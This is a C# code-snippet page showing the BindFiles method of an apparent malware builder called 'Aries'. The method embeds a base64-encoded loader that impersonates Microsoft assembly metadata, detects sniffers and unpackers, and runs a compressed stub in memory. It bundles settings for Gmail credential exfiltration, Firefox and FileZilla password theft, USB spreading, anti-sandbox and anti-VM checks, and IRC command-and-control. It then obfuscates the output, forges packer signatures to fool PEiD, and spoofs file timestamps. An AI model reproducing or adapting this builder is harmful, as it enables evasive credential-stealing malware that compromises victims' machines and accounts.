Aries.Form1.BindFiles C# (CSharp) Метод

BindFiles() приватный Метод

Bind the files, apply settings
private BindFiles ( ) : void
Результат void
        private void BindFiles()
        {
            SetFileInfo(); //Set the variables which will be appended after binding
            Instance.DebugLBL1.Text += (Path.GetFileName(Instance.TextHostFile.Text) + " - " +
                CodeDOMCompiler.SetBytes(Encoding.Default.GetBytes(Instance.TextHostFile.Text), true) + '\n');
            IconMethods.IconClass.ExtractIcon();

            string resName = Util.getRandNum(new Random().Next(8, 20));
            //string ResourceFile = FromBase64(Properties.Resources.Loader);

            //Base64 of the loader to decompress & run the stub
            string ResourceFile = FromBase64("dXNpbmcgU3lzdGVtLlJlZmxlY3Rpb247DQp1c2luZyBTeXN0ZW0uSU8uQ29tcHJlc3Npb247DQp1c2luZyBTeXN0ZW0uSU87DQp1c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsNCnVzaW5nIFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHk7DQp1c2luZyBTeXN0ZW0uVGV4dDsNCnVzaW5nIFN5c3RlbTsNCg0KW2Fzc2VtYmx5OiBBc3NlbWJseVZlcnNpb24oIjUuMS4yNjAwLjAiKV0NClthc3NlbWJseTogQXNzZW1ibHlUcmFkZW1hcmsoIk1pY3Jvc29mdCBDb3Jwb3JhdGlvbiIpXQ0KW2Fzc2VtYmx5OiBBc3NlbWJseUNvcHlyaWdodCgiQ29weXJpZ2h0IFx4MDBhOSBNaWNyb3NvZnQgQ29ycG9yYXRpb24uIEFsbCByaWdodHMgcmVzZXJ2ZWQuIildDQpbYXNzZW1ibHk6IEFzc2VtYmx5UHJvZHVjdCgiTWljcm9zb2Z0IFdpbmRvd3MgT3BlcmF0aW5nIFN5c3RlbSIpXQ0KW2Fzc2VtYmx5OiBBc3NlbWJseUNvbXBhbnkoIk1pY3Jvc29mdCBDb3Jwb3JhdGlvbiIpXQ0KW2Fzc2VtYmx5OiBBc3NlbWJseURlc2NyaXB0aW9uKCJNaWNyb3NvZnQgQ29ycG9yYXRpb24iKV0NClthc3NlbWJseTogQXNzZW1ibHlUaXRsZSgiTWljcm9zb2Z0IENvcnBvcmF0aW9uIildDQpbYXNzZW1ibHk6IEFzc2VtYmx5RmlsZVZlcnNpb24oIjUuMS4yNjAwLjAiKV0NClthc3NlbWJseTogU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcy5TdXBwcmVzc0lsZGFzbV0NCg0KDQpuYW1lc3BhY2UgWA0Kew0KCWludGVybmFsIHN0YXRpYyBjbGFzcyBMDQoJew0KCQlwcml2YXRlIHN0YXRpYyBBc3NlbWJseSBBID0gbnVsbDsNCgkJLy9wcml2YXRlIHN0YXRpYyBvYmplY3RbXSBCID0gbnVsbDsNCgkJcHJpdmF0ZSBzdGF0aWMgTWV0aG9kSW5mbyBDID0gbnVsbDsNCgkJcHJpdmF0ZSBzdGF0aWMgb2JqZWN0IEQgPSBudWxsOw0KDQogICAgICAgIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRNb2R1bGVIYW5kbGUoc3RyaW5nIGxwTW9kdWxlTmFtZSk7DQoNCgkJcHJpdmF0ZSBzdGF0aWMgdm9pZCBNYWluKCkvLyhzdHJpbmdbXSBhcmdzKQ0KCQl7DQoJCXN0YXJ0KCk7Ly9hcmdzDQoJCX0NCgkJDQoJCXByaXZhdGUgc3RhdGljIGJvb2wgc3RhcnQoKS8vKHN0cmluZ1tdIGFyZ3MpDQoJCXsNCgkJDQogICAgICB0cnkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgIGlmICgoR2V0TW9kdWxlSGFuZGxlKCJTbmlmZmVyMkhlbHBlcldpbjMyLmRsbCIpLlRvSW50MzIoKSAhPSAwKSB8fCBjaGVja3Byb2MoIi5ORVQgR2VuZXJpYyBVbnBhY2tlciIpIHx8DQogICAgICBjaGVja3Byb2MoIlB2TG9nIC5ORVQgU25pZmZlciIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGdvdG8gTGFiZWxfMDE7DQogICAgICAgICAgICAgICAgLy9FbnZpcm9ubWVudC5GYWlsRmFzdChuZXcgUmFuZG9tKCkuTmV4dCgyMDApLlRvU3RyaW5nKCkpOw0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmIChTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzLlN1cHByZXNzSWxkYXNtQXR0cmlidXRlLkdldEN1c3RvbUF0dHJpYnV0ZShBc3NlbWJseS5HZXRFeGVjdXRpbmdBc3NlbWJseSgpLCB0eXBlb2YoU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcy5TdXBwcmVzc0lsZGFzbUF0dHJpYnV0ZSkpID09IG51bGwpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZ290byBMYWJlbF8wMTsNCiAgICAgICAgICAgICAgICAvL0Vudmlyb25tZW50LkZhaWxGYXN0KG5ldyBSYW5kb20oKS5OZXh0KDIwMCkuVG9TdHJpbmcoKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLy9BRSBhZSA9IG5ldyBBRSgpOw0KICAgICAgICAgICAgICAgIHN0cmluZyB4ID0gIm90bnYiOw0KICAgICAgICAgICAgICAgIHN0cmluZyBmaWxlID0gTWljcm9zb2Z0LlZpc3VhbEJhc2ljLlN0cmluZ3MuU3BsaXQoRW5jb2RpbmcuRGVmYXVsdC5HZXRTdHJpbmcoRSgiRGF0YS5yZXNvdXJjZXMiKSksICIhQF8hIiwgLTEsIE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21wYXJlTWV0aG9kLlRleHQpWzBdOw0KICAgICAgICAgICAgICAgLy8gYnl0ZVtdIENDID0gRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhhZS5ERShFbmNvZGluZy5EZWZhdWx0LkdldEJ5dGVzKGZpbGUpKSk7DQogICAgICAgICAgICAgICAgYnl0ZVtdIENDID0gRihFbmNvZGluZy5EZWZhdWx0LkdldEJ5dGVzKGZpbGUpKTsNCiAgICAgICAgICAgICAgICBBID0gQXNzZW1ibHkuTG9hZCgoQ0MpKTsNCiAgICAgICAgICAgICAgICBDID0gQS5FbnRyeVBvaW50Ow0KICAgICAgICAgICAgICAgIC8vaWYgKEMuR2V0UGFyYW1ldGVycygpLkxlbmd0aCA+IDApDQogICAgICAgICAgICAgICAgLy97DQogICAgICAgICAgICAgICAgICAgLy8gQiA9IG5ldyBvYmplY3RbXSB7IGFyZ3MgfTsNCiAgICAgICAgICAgICAgICAvL30NCiAgICAgICAgICAgICAgICBpZiAoeCA9PSAid2F0IikgLy9KdW5rIGNvZGUsIHRoaXMgd2lsbCBuZXZlciBoYXBwZW4uLi4NCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICBnb3RvIExhYmVsXzAxOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBBID0gbnVsbDsNCiAgICAgICAgICAgICAgICBEID0gQy5JbnZva2UobnVsbCwgbnVsbCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIExhYmVsXzAxOg0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIEVudmlyb25tZW50LkZhaWxGYXN0KG5ldyBSYW5kb20oKS5OZXh0KDIwMCkuVG9TdHJpbmcoKSk7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIHgpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgLy9yZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICBNZXNzYWdlQm94LlNob3coeC5Ub1N0cmluZygpICsgIlxuXG5cbiIgKyB4Lk1lc3NhZ2UpOw0KcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIH0NCgkJfQ0KCQkNCg0KCQlwcml2YXRlIHN0YXRpYyBieXRlW10gRShzdHJpbmcgQSkNCgkJew0KCQkJYnl0ZVtdIHRlbXBFID0gbnVsbDsNCgkJCVN5c3RlbS5JTy5TdHJlYW0gQiA9IG51bGw7DQoJCQlCID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuR2V0RXhlY3V0aW5nQXNzZW1ibHkoKS5HZXRNYW5pZmVzdFJlc291cmNlU3RyZWFtKEEpOw0KCQkJYnl0ZVtdIGJ5dHMgPSBuZXcgYnl0ZVtTeXN0ZW0uQ29udmVydC5Ub0ludDMyKEIuTGVuZ3RoIC0gMSkgKyAxXTsNCgkJCWludCBzTGVuID0gQi5SZWFkKGJ5dHMsIDAsIFN5c3RlbS5Db252ZXJ0LlRvSW50MzIoQi5MZW5ndGgpKTsNCgkJCVN5c3RlbS5JTy5NZW1vcnlTdHJlYW0gQyA9IG5ldyBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKGJ5dHMsIDAsIHNMZW4pOw0KCQkJdGVtcEUgPSBDLlRvQXJyYXkoKTsNCgkJCUMuQ2xvc2UoKTsNCgkJCUIuQ2xvc2UoKTsNCgkJCXJldHVybiB0ZW1wRTsNCgkJfQ0KDQoNCg0KCQlwdWJsaWMgc3RhdGljIGJ5dGVbXSBGKGJ5dGVbXSBBKQ0KCQl7DQoJCQkvL2NyZWF0ZSBhIE1lbW9yeVN0cmVhbSBmb3IgaG9sZGluZyB0aGUgaW5jb21pbmcgZGF0YQ0KCQkJTWVtb3J5U3RyZWFtIEIgPSBuZXcgTWVtb3J5U3RyZWFtKCk7DQoJCQkvL3dyaXRlIHRoZSBpbmNvbWluZyBieXRlcyB0byB0aGUgTWVtb3J5U3RyZWFtDQoJCQlCLldyaXRlKEEsIDAsIEEuTGVuZ3RoKTsNCgkJCS8vc2V0IG91ciBwb3NpdGlvbiB0byB0aGUgc3RhcnQgb2YgdGhlIFN0cmVhbQ0KCQkJQi5Qb3NpdGlvbiA9IDA7DQoJCQkvL2NyZWF0ZSBhbiBpbnN0YW5jZSBvZiB0aGUgR1ppcFN0cmVhbSB0byBkZWNvbXByZXNzDQoJCQkvL3RoZSBpbmNvbWluZyBieXRlIGFycmF5ICh0aGUgY29tcHJlc3NlZCBWaWV3U3RhdGUpDQoJCQlHWmlwU3RyZWFtIEMgPSBuZXcgR1ppcFN0cmVhbShCLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcywgdHJ1ZSk7DQoJCQkvL2NyZWF0ZSBhIG5ldyBNZW1vcnlTdHJlYW0gZm9yIGhvbGRpbmcNCgkJCS8vdGhlIG91dHB1dA0KCQkJTWVtb3J5U3RyZWFtIEQgPSBuZXcgTWVtb3J5U3RyZWFtKCk7DQoJCQkvL2NyZWF0ZSBhIGJ5dGUgYXJyYXkNCgkJCWJ5dGVbXSBFID0gbmV3IGJ5dGVbNjRdOw0KCQkJaW50IEcgPSAtMTsNCgkJCS8vcmVhZCB0aGUgZGVjb21wcmVzc2VkIFZpZXdTdGF0ZSBpbnRvDQoJCQkvL291ciBieXRlIGFycmF5LCBzZXQgdGhhdCB2YWx1ZSB0byBvdXINCgkJCS8vcmVhZCB2YXJpYWJsZSAoaW50IGRhdGEgdHlwZSkNCgkJCUcgPSBDLlJlYWQoRSwgMCwgRS5MZW5ndGgpOw0KCQkJLy9tYWtlIHN1cmUgd2UgaGF2ZSBzb21ldGhpbmcgdG8gcmVhZA0KCQkJd2hpbGUgKEcgPiAwKQ0KCQkJew0KCQkJCS8vd3JpdGUgdGhlIGRlY29tcHJlc3NlZCBieXRlcyB0byBvdXINCgkJCQkvL291dCBnb2luZyBNZW1vcnlTdHJlYW0NCgkJCQlELldyaXRlKEUsIDAsIEcpOw0KCQkJCS8vZ2V0IHRoZSByZXN0IG9mIHRoZSBidWZmZXINCgkJCQlHID0gQy5SZWFkKEUsIDAsIEUuTGVuZ3RoKTsNCgkJCX0NCgkJCUMuQ2xvc2UoKTsNCgkJCS8vcmV0dXJuIG91ciBvdXQgZ29pbmcgTWVtb3J5U3RyZWFtDQoJCQkvL2luIGFuIGFycmF5DQoJCQlyZXR1cm4gRC5Ub0FycmF5KCk7DQoJCX0NCg0KDQogICAgICAgIHByaXZhdGUgc3RhdGljIGJvb2wgY2hlY2twcm9jKHN0cmluZyBmaWxlX25hbWUpDQogICAgICAgIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIHAgaW4gU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuR2V0UHJvY2Vzc2VzKCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKHAuTWFpbldpbmRvd1RpdGxlLkNvbnRhaW5zKGZpbGVfbmFtZSkgfHwgcC5Qcm9jZXNzTmFtZS5Db250YWlucyhmaWxlX25hbWUpKQ0KICAgICAgICAgICAgICAgIHsgcmV0dXJuIHRydWU7IH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KCX0NCg0KfSAvL2VuZCBvZiByb290IG5hbWVzcGFjZQ==");

            Thread.Sleep(200);
            //Change the namespace to a random string since it won't be changed with the obfuscator -outdated, nvm
            //namespace X
            ResourceFile = ResourceFile.Replace(FromBase64("bmFtZXNwYWNlIFg="), "namespace " + Util.getRandNum(new Random().Next(8, 20)));

            //Change the assembly's attributes
            if (Instance.checkChangeVersionInfo.Checked)
            {
                ResourceFile = ResourceFile.Replace("AssemblyVersion(\"5.1.2600.0\")", "AssemblyVersion(\"" + Instance.txtProdVer.Text + "\")");
                ResourceFile = ResourceFile.Replace("AssemblyTrademark(\"Microsoft Corporation\")", "AssemblyTrademark(\"" + Instance.txtTrademark.Text + "\")");

                ResourceFile = ResourceFile.Replace("AssemblyCopyright(\"Copyright \\x00a9 Microsoft Corporation. All rights reserved.\")", "AssemblyCopyright(\"" + Instance.txtCopyright.Text + "\")");
                ResourceFile = ResourceFile.Replace("AssemblyProduct(\"Microsoft Windows Operating System\")", "AssemblyProduct(\"" + Instance.txtProdName.Text + "\")");

                ResourceFile = ResourceFile.Replace("AssemblyCompany(\"Microsoft Corporation\")", "AssemblyCompany(\"" + Instance.txtCompany.Text + "\")");
                ResourceFile = ResourceFile.Replace("AssemblyDescription(\"Microsoft Corporation\")", "AssemblyDescription(\"" + Instance.txtDescription.Text + "\")");

                ResourceFile = ResourceFile.Replace("AssemblyTitle(\"Microsoft Corporation\")", "AssemblyTitle(\"" + Instance.txtDescription.Text + "\")");
                ResourceFile = ResourceFile.Replace("AssemblyFileVersion(\"5.1.2600.0\")", "AssemblyFileVersion(\"" + Instance.txtFileVersion.Text + "\")");
            }
            //Stub -
            Instance.DebugLBL1.Text += (FromBase64("U3R1YiAtIA==") +
                Strings.Mid(Convert.ToString(File.ReadAllBytes("stub.exe").Length / 1024), 1, 4) + " KB\n");

            //icon.ico -
            if ((Instance.checkmainicon.Checked | Instance.CheckChangeIcon.Checked) & File.Exists("icon.ico"))
                Instance.DebugLBL1.Text += (FromBase64("aWNvbi5pY28gLSA=") +
                    Strings.Mid(Convert.ToString(File.ReadAllBytes("icon.ico").Length / 1024), 1, 4) + " KB\n");

            //Store the stub in a string - fileopen is taken from the first version, should change
            int FileNum = FileSystem.FreeFile();
            FileSystem.FileOpen(FileNum, "stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
            Util.stub = Strings.Space(Convert.ToInt32(FileSystem.LOF(FileNum)));
            FileSystem.FileGet(FileNum, ref Util.stub, -1, false);
            FileSystem.FileClose(FileNum);

            //Store the target file in a string & then reverse it
            Util.file1TargetFileOutput = Encoding.Default.GetString(File.ReadAllBytes(Instance.TextHostFile.Text));
            Util.file1TargetFileOutput = Util.Reverse(Util.file1TargetFileOutput);

            //Compress the file with GZip
            CompressFile();

            if (Instance.CheckEncrypt.Checked)
            {//Encrypt the target file
                Util.file1TargetFileOutput = (Util.AESClass.EncryptToString(Util.file1TargetFileOutput));
                //Target file size after encrypting:
                Instance.DebugLBL1.Text += FromBase64("VGFyZ2V0IGZpbGUgc2l6ZSBhZnRlciBlbmNyeXB0aW5nOiA=") +
                    CodeDOMCompiler.SetBytes(Encoding.Default.GetBytes(Util.file1TargetFileOutput), false) + '\n';
            }

            //Replace the encryption key from the default so the loader can decrypt the stub
            Util.encryptionkey = Util.AESClass.Key;

            //encryptionkeyhere012345678998765 - default key
            ResourceFile = ResourceFile.Replace(FromBase64("ZW5jcnlwdGlvbmtleWhlcmUwMTIzNDU2Nzg5OTg3NjU="), Encoding.UTF8.GetString(Util.AESClass.Key));

            //Data.resources - default resource file name (where binded stub is stored)
            ResourceFile = ResourceFile.Replace(FromBase64("RGF0YS5yZXNvdXJjZXM="), resName);

            //Concat all the user options
            string fileoptions = Util.FSplit + Util.file1TargetFileOutput +
                "&^*" + Encoding.Default.GetString(Compress.CompressData(Encoding.Default.GetBytes(
                Util.FSplit2 + Util.ErrorTitle +
                Util.FSplit2 + Util.ErrorBody +
                Util.FSplit2 + Util.DisplayInVirtual +
                Util.FSplit2 + Util.DisplayErrorMsg +
                Util.FSplit2 + Util.msgIcon +
                Util.FSplit2 + Util.AntiSandbox +
                Util.FSplit2 + Util.GmailUser +
                Util.FSplit2 + Util.GmailPass +
                Util.FSplit2 + Util.SendFirefoxFilezilla +
                Util.FSplit2 + Util.AntiVirtual +
                Util.FSplit2 + Util.UseRandomNick +
                Util.FSplit2 + Util.ProtectNum +
                Util.FSplit2 +
                Util.FSplit3 + Util.CrashType +
                Util.FSplit3 + Util.AntiSniffDebug +
                Util.FSplit3 + Util.compressed +
                Util.FSplit3 + Util.USBSpread +
                Util.FSplit3 + Util.AntiSysinternals +
                Util.FSplit3 + Instance.TextMutex.Text +
                Util.FSplit3 + Util.EncryptHost +
                Util.FSplit3 + Encoding.Default.GetString(Util.encryptionkey) +
                Util.FSplit3 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.TextServerName.Text)) +
                Util.FSplit3 +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServ.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServPass.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServPort.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServChannel.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServChanPass.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCServMasterUser.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Path.GetFileName(Instance.svdlg.FileName))) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCAuthHost.Text)) +
                Util.FSplit4 + Encoding.Default.GetString(Util.AESClass.Encrypt(Instance.txtIRCLoginPass.Text)) +
                Util.FSplit4)));

            //Compress the stub
            Util.stub = Encoding.Default.GetString(Compress.CompressData(Encoding.Default.GetBytes(Util.stub)));
            string SaveName = Path.GetFileName(Instance.svdlg.FileName);

            //"Stub size after compressing: "
            Instance.DebugLBL1.Text += (FromBase64("U3R1YiBzaXplIGFmdGVyIGNvbXByZXNzaW5nOiA=") +
                Strings.Mid(Convert.ToString(Util.stub.Length / 1024), 1, 4) + FromBase64("IEtC") + '\n'); //" KB"

            byte[] bytarray = new byte[0];
            long length = 0;

            if (Instance.CheckFixFile.Checked)
            {//Fix the file size back to the originals
                if (Instance.checkmainicon.Checked || Instance.CheckChangeIcon.Checked)
                    length = File.ReadAllBytes(Instance.TextHostFile.Text).Length -
                        (Util.stub.Length + fileoptions.Length + File.ReadAllBytes("icon.ico").Length + 10000);
                else
                    length = File.ReadAllBytes(Instance.TextHostFile.Text).Length -
                        (Util.stub.Length + fileoptions.Length + 5120);

                if (length < 0) { length = 0; } //If negative set to 0 bytes
                bytarray = new byte[length];
            }

            if (CheckAddBytes.Checked)
            {//Increase the file size
                if (RadioKB.Checked)
                    bytarray = new byte[bytarray.Length + (Convert.ToInt64(Instance.TextByteAmount.Text) * 1024)];
                else if (RadioMB.Checked)
                    bytarray = new byte[bytarray.Length + (Convert.ToInt64(Instance.TextByteAmount.Text) * 1048576)];
            }
            new Random().NextBytes(bytarray);

            StreamWriter writer2 = new StreamWriter(resName, false, Encoding.Default);
            writer2.AutoFlush = true;
            writer2.Write((Util.stub));
            writer2.Write(fileoptions);
            writer2.Write(Encoding.UTF8.GetString(bytarray));
            writer2.Close();

            ///////////////////////////////////

            if (Instance.checkmainicon.Checked || Instance.CheckChangeIcon.Checked)
                CodeDOMCompiler.Compile(ResourceFile, SaveName, resName, true);
            else
                CodeDOMCompiler.Compile(ResourceFile, SaveName, resName, false);

            //"Compiled file"
            Instance.DebugLBL1.Text += (FromBase64("Q29tcGlsZWQgZmlsZQ==") + '\n');

            while (!File.Exists(SaveName)) { Application.DoEvents(); }

            //"Obfuscating file"
            //Instance.DebugLBL1.Text += (FromBase64("T2JmdXNjYXRpbmcgZmlsZQ==") + '\n');

            {//Obfuscate the file
                //"Obfuscating file"
                Instance.DebugLBL1.Text += (FromBase64("T2JmdXNjYXRpbmcgZmlsZQ==") + '\n');

                string babelName = Util.getRandNum(new Random().Next(5, 15)) + ".exe";

                File.WriteAllBytes(babelName, Properties.Resources.babel);
                File.SetAttributes(babelName, FileAttributes.Hidden | FileAttributes.System);
                while (!File.Exists(babelName))
                    Application.DoEvents();

                System.Diagnostics.ProcessStartInfo info = new System.Diagnostics.ProcessStartInfo();
                info.Arguments = "\"" + SaveName + "\" --iliterations " + new Random().Next(10, 95) +
                    " --virtual --flatns --unicode --msil --deadcode --types --events --methods --properties --fields " +
                    "--invalidopcodes --stringencrypt --output " + SaveName;
                info.FileName = babelName;

                info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
                System.Diagnostics.Process.Start(info);

            Label_0:
                {
                    try
                    {
                        //if (File.Exists(babelName))
                        File.Delete(babelName);
                    }
                    catch { Thread.Sleep(1500); goto Label_0; }
                }

                //"File obfuscated"
                Instance.DebugLBL1.Text += (FromBase64("RmlsZSBvYmZ1c2NhdGVk") + '\n');
            }

            if (Instance.CheckFixFile.Checked)
            {
                Thread.Sleep(2500);
                CodeDOMCompiler.pumpFile(SaveName, Util.OriginalSize);
                //Fixed file size
                Instance.DebugLBL1.Text += (FromBase64("Rml4ZWQgZmlsZSBzaXpl") + '\n');
            }

            /* 0 None
             * 1 PECompact v2.xx
             * 2 NsPacK .Net -> LiuXingPing
             * 3 Themida 1.2.0.1 -> Oreans Technologies
             * 4 Armadillo 4.40 -> Silicon Realms Toolworks
             * 5 UPX 1.03 - 1.04 modified -> Markus & Laszlo
             * 6 ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov
             */

            if (Instance.comboFakeSign.SelectedIndex > 0)
            {
                Thread.Sleep(2500);
                byte[] file = File.ReadAllBytes(SaveName);
                byte[] signature = new byte[0];

                switch (Instance.comboFakeSign.SelectedIndex)
                {
                    case 1:
                        signature = Signatures.PeCompact2xx;
                        break;
                    case 2:
                        signature = Signatures.NSPack;
                        break;
                    case 3:
                        signature = Signatures.Themida;
                        break;
                    case 4:
                        signature = Signatures.Armadillo440;
                        break;
                    case 5:
                        signature = Signatures.UPX;
                        break;
                    case 6:
                        signature = Signatures.ASProtect;
                        break;
                }

                //This could probably be better implemented...
                //Adds the fake signature after _CorExeMain.mscoree.dll in the assembly to trick PEiD
                for (int i = 0; i < file.Length; i++)
                {
                    if ((file[i] == 0) & (file[i + 1] == 95) & (file[i + 2] == 67))
                    {
                        file[i] = 1;
                        for (int ii = 0; ii < signature.Length; ii++)
                        {
                            file[i + 36 + ii] = signature[ii];
                        }
                        break;
                    }
                }
                StreamWriter write = new StreamWriter(SaveName, false, Encoding.Default);
                write.Write(Encoding.Default.GetString(file));
                write.Flush();
                write.Close();
                file = null;
                //Set fake file signature
                Instance.DebugLBL1.Text += (FromBase64("U2V0IGZha2UgZmlsZSBzaWduYXR1cmU=") + '\n');
            }
            //Final size:
            Instance.DebugLBL1.Text += (FromBase64("RmluYWwgc2l6ZTog") + CodeDOMCompiler.SetBytes(Encoding.Default.GetBytes(SaveName), true) + '\n');

            //Copy the last access time, last write time, & creation time to the new file
            if (Instance.checkcopyaccess.Checked)
            {
                File.SetLastAccessTime(SaveName, File.GetLastAccessTime(Instance.TextHostFile.Text));
                //Set file last access time to:
                Instance.DebugLBL1.Text += (FromBase64("U2V0IGZpbGUgbGFzdCBhY2Nlc3MgdGltZSB0bzog") + File.GetLastAccessTime(Instance.TextHostFile.Text).ToString() + '\n');
            }
            if (checkcopywrite.Checked)
            {
                File.SetLastWriteTime(SaveName, File.GetLastWriteTime(Instance.TextHostFile.Text));
                //Set file last write time to:
                Instance.DebugLBL1.Text += (FromBase64("U2V0IGZpbGUgbGFzdCB3cml0ZSB0aW1lIHRvOiA=") + File.GetLastWriteTime(Instance.TextHostFile.Text).ToString() + '\n');
            }
            if (checkcopycreation.Checked)
            {
                File.SetCreationTime(SaveName, File.GetCreationTime(Instance.TextHostFile.Text));
                //Set file creation time to:
                Instance.DebugLBL1.Text += (FromBase64("U2V0IGZpbGUgY3JlYXRpb24gdGltZSB0bzog") + File.GetCreationTime(Instance.TextHostFile.Text).ToString() + '\n');
            }

            //Clean up
            if (File.Exists("icon.ico")) { File.Delete("icon.ico"); }
            if (File.Exists("icon.exe")) { File.Delete("icon.exe"); }
            if (File.Exists(resName)) { File.Delete(resName); }
            //File saved to:
            Instance.DebugLBL1.Text += FromBase64("RmlsZSBzYXZlZCB0bzog") + SaveName + '\n';

            //Task completed at
            Instance.DebugLBL1.Text += FromBase64("VGFzayBjb21wbGV0ZWQgYXQg") + DateAndTime.Now + '\n';
            GC.Collect();
        }